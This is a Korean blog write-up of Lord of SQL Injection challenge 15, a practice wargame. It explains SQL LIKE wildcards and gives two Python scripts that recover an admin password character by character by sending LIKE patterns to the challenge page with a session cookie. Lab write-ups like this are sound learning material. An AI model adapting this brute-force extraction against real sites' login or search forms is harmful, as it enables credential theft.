์ƒˆ์†Œ์‹

Game/los

Lord of sql injection [15]

  • -
๋ฐ˜์‘ํ˜•

์™€์šฐ ๋“œ๋””์–ด 15๋ฒˆ์งธ๊นŒ์ง€ ์™”์–ด์š”.

 

์ด๋ฒˆ์ฃผ ๋ชฉํ‘œ๋Š” 30 ๋ฒˆ์งธ ๋ฌธ์ œ๊นŒ์ง€ ํ’€๊ธฐ์˜€๋Š”๋ฐ, ๋ฐ˜ ๋‚จ์•˜๋„ค์š” ใ…Žใ…Ž

 

[๋ฌธ์ œ 15]

 

์ง€๊ธˆ๊นŒ์ง€ ํ’€๋˜ ์œ ํ˜•๊ณผ ์กฐ๊ธˆ ๋‹ค๋ฅธ ์œ ํ˜•์œผ๋กœ ์ƒˆ๋กœ์šด ๊ฐœ๋…์ด ์กฐ๊ธˆ ํ•„์š”ํ•œ ๋ฌธ์ œ์˜€์Šต๋‹ˆ๋‹ค.

์ผ๋‹จ ์‹ฑ๊ธ€์ฟผํ„ฐ๋ฅผ ๋ง‰๊ณ  ์žˆ์œผ๋ฉฐ, like๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด์ „์ฒ˜๋Ÿผ substring์„ ์ด์šฉํ•˜์—ฌ ๊ตฌํ•˜๋Š” ๋ฌธ์ œ ์œ ํ˜•์ด ์•„๋‹ˆ์˜€์Šต๋‹ˆ๋‹ค.

 

๋ฌธ์ œ๋ฅผ ํ†ต๊ณผ ์‹œํ‚ค๋ ค๋ฉด id ==admin ์œผ๋กœ ํ•ด์•ผํ•˜๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ ค๋ฉด pw์นธ์„ admin์˜ pw๋ฅผ ์ž…๋ ฅํ•ด์ฃผ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

pw๊ฐ€ admin์ด๋ฉด ๊ทธ์— ๊ด€๋ จ๋œ id๋ฅผ ์ฐพ์•„์˜ค๋Š” ๊ฒƒ์ด๋ฏ€๋กœ, ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

๋จผ์ € ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ์ „ like์— ๋Œ€ํ•ด ์ž์„ธํžˆ ํ•œ๋ฒˆ ์•Œ์•„๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

 

์•„๋ž˜ ์ฃผ์†Œ์—์„œ ํ•œ๋ฒˆ ์ฝ์–ด๋ณด์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

 

www.w3schools.com/sql/sql_like.asp

 

SQL LIKE Operator

SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi

www.w3schools.com

 

(์•„๋ž˜ ํ•ด์„ค์„ ๋ณธ ํ›„ ์œ„ ์‚ฌ์ดํŠธ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์‹œ๋ฉด ๋” ์ข‹์„ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.)

 

์ฆ‰ like๋Š”  ==์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ์—ด์˜ ์ง€์ •๋œ ํŒจํ„ด์„ ๊ฒ€์ƒ‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋„ ์“ฐ์ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

 

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ฒƒ์€ ์™€์ผ๋“œ ์นด๋“œ ๋ฌธ์ž์˜ ๋Œ€ํ•œ ๊ฐœ๋…์ธ๋ฐ

 

์™€์ผ๋“œ ์นด๋“œ๋ž€?

์™€์ผ๋“œ์นด๋“œ ๋ฌธ์ž(wildcard character)๋Š” ์ปดํ“จํ„ฐ์—์„œ ํŠน์ • ๋ช…๋ น์–ด๋กœ ๋ช…๋ น์„ ๋‚ด๋ฆด ๋•Œ, ์—ฌ๋Ÿฌ ํŒŒ์ผ์„ ํ•œ๊บผ๋ฒˆ์— ์ง€์ •ํ•  ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐํ˜ธ๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์ด ๋ฌธ์ž๋Š” ์–ด๋Š ๊ณณ์—์„œ ์‚ฌ์šฉํ•˜๋Š๋ƒ์— ๋”ฐ๋ผ ์•ฝ๊ฐ„์˜ ์ฐจ์ด๋ฅผ ๋ณด์ธ๋‹ค. ์ฃผ๋กœ ํŠน์ •ํ•œ ํŒจํ„ด์ด ์žˆ๋Š” ๋ฌธ์ž์—ด ํ˜น์€ ํŒŒ์ผ์„ ์ฐพ๊ฑฐ๋‚˜, ๊ธด ์ด๋ฆ„์„ ์ƒ๋žตํ•  ๋•Œ ์“ฐ์ธ๋‹ค.(์ถœ์ฒ˜ :๊ตฌ๊ธ€ ์œ„ํ‚ค๋ฐฑ๊ณผ)

 

์™€์ผ๋“œ ์นด๋“œ๋Š” ๊ฐ•๋ ฅํ•œ ๋ฌธ์ž ์ธ๊ฒƒ ๊ฐ™๋‹ค. ๊ธฐํ˜ธ๋Š” ๋ณด๋‹ค ๋‹ค์–‘ํ•˜๋ฉฐ, %๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ธธ์ด์™€, ๋ฌธ์ž๋ฅผ ์ถ”์ธกํ•˜๊ณ  

๋งž์ถฐ๋‚˜๊ฐˆ ์ˆ˜ ์žˆ๋‹ค.

 

์•„๋ž˜ ๋ธ”๋กœ๊ทธ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ ์™€์ผ๋“œ ์นด๋“œ์˜ ํ™œ์šฉ์„ ์‚ดํŽด๋ณด์ž.

blog.daum.net/kkyagami/17

 

[MYSQL] Mysql ์™€์ผ๋“œ์นด๋“œ

์ถœ์ฒ˜ : http://blog.naver.com/PostView.nhn?blogId=ssoya1874&logNo=140109794553 MySQL][์ดˆ๊ธ‰]06_์™€์ผ๋“œ์นด๋“œ๋ฅผ ์‚ฌ์šฉํ•œ ํ•„ํ„ฐ๋ง --- -------------------------------------------------------------------------..

blog.daum.net

 

 

์ด์ œ ์‹ค์ œ๋กœ ์‹ค์Šต์„ ์ง„ํ–‰ํ•ด๋ณด์•˜๋‹ค.

 

 

 

?pw=________ 

 

์ด ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด์„œ hello guest๋ผ๋Š” ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅ์‹œ์ผฐ๋‹ค.

 

like๋ฅผ ์ด์šฉํ•˜์—ฌ pw์˜ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ธ ๊ฒƒ์ด๋‹ค. '_'๋ผ๋Š” ๋ฌธ์ž๋กœ ๊ฐฏ์ˆ˜๋ฅผ ์˜ˆ์ธก ํ•  ์ˆ˜ ์žˆ๋‹ค.

_์˜ ๊ฐฏ์ˆ˜๋ฅผ ๋Š˜๋ ค๊ฐ€๋ฉฐ ํ™•์ธํ•ด๋ณด์•˜๋”๋‹ˆ ์ถœ๋ ฅ๋˜๋Š” ๊ธธ์ด๋Š” 8

 

์ฆ‰ pw๊ธธ์ด๋Š” 8๊ธ€์ž๋ž€ ์†Œ๋ฆฌ์ด๋‹ค.

 

์ฐธ๊ณ ๋กœ ๊ทธ ์ด์ƒ๊ฐ’์„ ๋„˜๊ฒจ๋„ hello admin์ด ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„,

์ด db์•ˆ์—์„œ pw๊ฐ€ 8๊ธ€์ž์ธ id๋Š” admin, guest ๋‘๊ฐœ์ธ ๊ฒƒ ๊ฐ™๋‹ค(์˜ˆ์ƒํ•œ ๋ฐ”๋กœ,,)

 

ํ•˜์ง€๋งŒ ์ถœ๋ ฅ์€ ํ•œ์ค„๋ฐ–์— ๋ณผ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— admin์ด ์•„๋‹Œ, table์ƒ admin๋ณด๋‹ค ์œ„์— ์žˆ๋Š”

guest๊ฐ€ ์ถœ๋ ฅ์ด ๋œ๊ฒƒ์ด๋‹ค.

 

์ฆ‰ admin, guest ๋ผ๋Š” ๋‘ ์•„์ด๋””๋Š” 8๊ธ€์ž๋กœ ๋œ pw๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

ํ•œ๊ธ€์ž์”ฉ ์•Œ์•„๋ณด๊ธฐ๊ฐ€ ๋„ˆ๋ฌด ๊ธธ ์ˆ˜ ์žˆ์œผ๋‹ˆ, ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์กฐ๊ธˆ ๋ณ€ํ˜•ํ•ด์„œ ์‚ฌ์šฉํ•ด๋ดค๋‹ค.

 

 

import requests
from bs4 import BeautifulSoup

query1 = "%s"
dbname = []
sum = ''
password = []

word = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 8:

    for src in word:
        dbname = [str(sum)+query1 % (src)+"%"]
        cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
        params = {'pw': dbname }
        res = requests.get('https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello guest"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print("Data : ", src)
            sum += src
            print("query: ", dbname)
            break
    num = num+1


print("์ •๋‹ต ์ฟผ๋ฆฌ๋ฌธ : ",dbname)

print("###########################์™„๋ฃŒ")
#print('pwd : ', '_'.join(password))

 

์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด data๊ฐ€ ๋ฝ‘์•„์ง„๋‹ค.

 

 

ํ•˜์ง€๋งŒ admin์˜ pw๊ฐ€ ์•„๋‹Œ guest์˜ pw์ด๋ฏ€๋กœ 

๋ฌธ์ œ๊ฐ€ ํ†ต๊ณผ๋˜์ง€ ์•Š๋Š”๋‹ค.  hello admin์„ ์ถœ๋ ฅ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ admin์œผ๋กœ ์ฐพ์•„๋ณด๋ฉด

๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์ง€ ๋ชปํ•œ๋‹ค.

 

์ด์œ ๋Š” admin๊ณ„์ •๊ณผ guest๊ณ„์ •์˜ pw๊ฐ€ ์–ด๋Š์ •๋„ ์ผ๋ถ€ ์ผ์น˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์— "Hello admin"์ด๋ผ๋Š” ์ถœ๋ ฅ์„ ์ฐพ์ง€ ๋ชปํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์ฆ‰, ๊ฐ™์ง€ ์•Š์•„์ง€๋Š” ๋ถ€๋ถ„๋ถ€ํ„ฐ ์ฐพ์œผ๋ฉด admin๊ณ„์ •์œผ๋กœ ์ธ์‹ ํ•  ๊ฒƒ์ด๋‹ค.

 

๊ทธ๋ž˜์„œ ํ•œ๊ธ€์ž์”ฉ ์ฐพ์•„๋ณด์•˜๋Š”๋ฐ, ์•ฝ 2๊ธ€์ž๊ฐ€ ๊ฐ™์•˜๋‹ค.

 

์ฆ‰ ์˜ˆ์ƒํ•œ DB๊ตฌ์กฐ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

 

  id      |   pw

----------------------------------

          guest  |  90d2fe10

          admin |  90______

 

import requests
from bs4 import BeautifulSoup

query1 = "%s"
dbname = []
sum = ''
password = []

word = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 6:

    for src in word:
        dbname = ["90"+str(sum)+query1 % (src)+"%"]
        cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
        params = {'pw': dbname }
        res = requests.get('https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print("Data : ", src)
            sum += src
            print("query: ", dbname)
            break
    num = num+1


print("์ •๋‹ต ์ฟผ๋ฆฌ๋ฌธ : ",dbname)

print("###########################์™„๋ฃŒ")
#print('pwd : ', '_'.join(password))

 

python์œผ๋กœ ๋‘์ž๋ฆฌ๋ฅผ ๊ณ ์ •ํ•ด์ค€ ํ›„ ์ฝ”๋“œ๋ฅผ ๋Œ๋ ค๋ดค๋‹ค.

 

 

pw ๊ฐ’์„ ๋ฝ‘์•„๋ƒˆ๋‹ค.

 

์ฐธ๊ณ ๋กœ 902 ๊นŒ์ง€๋งŒ pw๋„ฃ๊ณ  %๋ฅผ ํ•ด์ฃผ๋ฉด, admin์œผ๋กœ ์ธ์‹ํ•˜์—ฌ ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฌ์ง€๋งŒ

์ •๋‹ต์„ ๋ชจ๋‘ ์•Œ์•„๋‚ด๋Š” ๋ฐฉ๋ฒ•์€ ์œ„์ฒ˜๋Ÿผ ํˆด์„ ๋Œ๋ฆฌ๊ฑฐ๋‚˜ ํ•œ ๊ธ€์ž์”ฉ ๋„ฃ์–ด๋ณด๋ฉด๋œ๋‹ค.

 

 

์–ด์Ž„์‹ !! Clear!

๋ฐ˜์‘ํ˜•

'Game > los' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of sql injection [17]  (0) 2020.09.14
Lord of sql injection [16]  (0) 2020.09.13
Lord of sql injection [14]  (0) 2020.09.12
Lord of sql injection [13]  (0) 2020.09.12
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.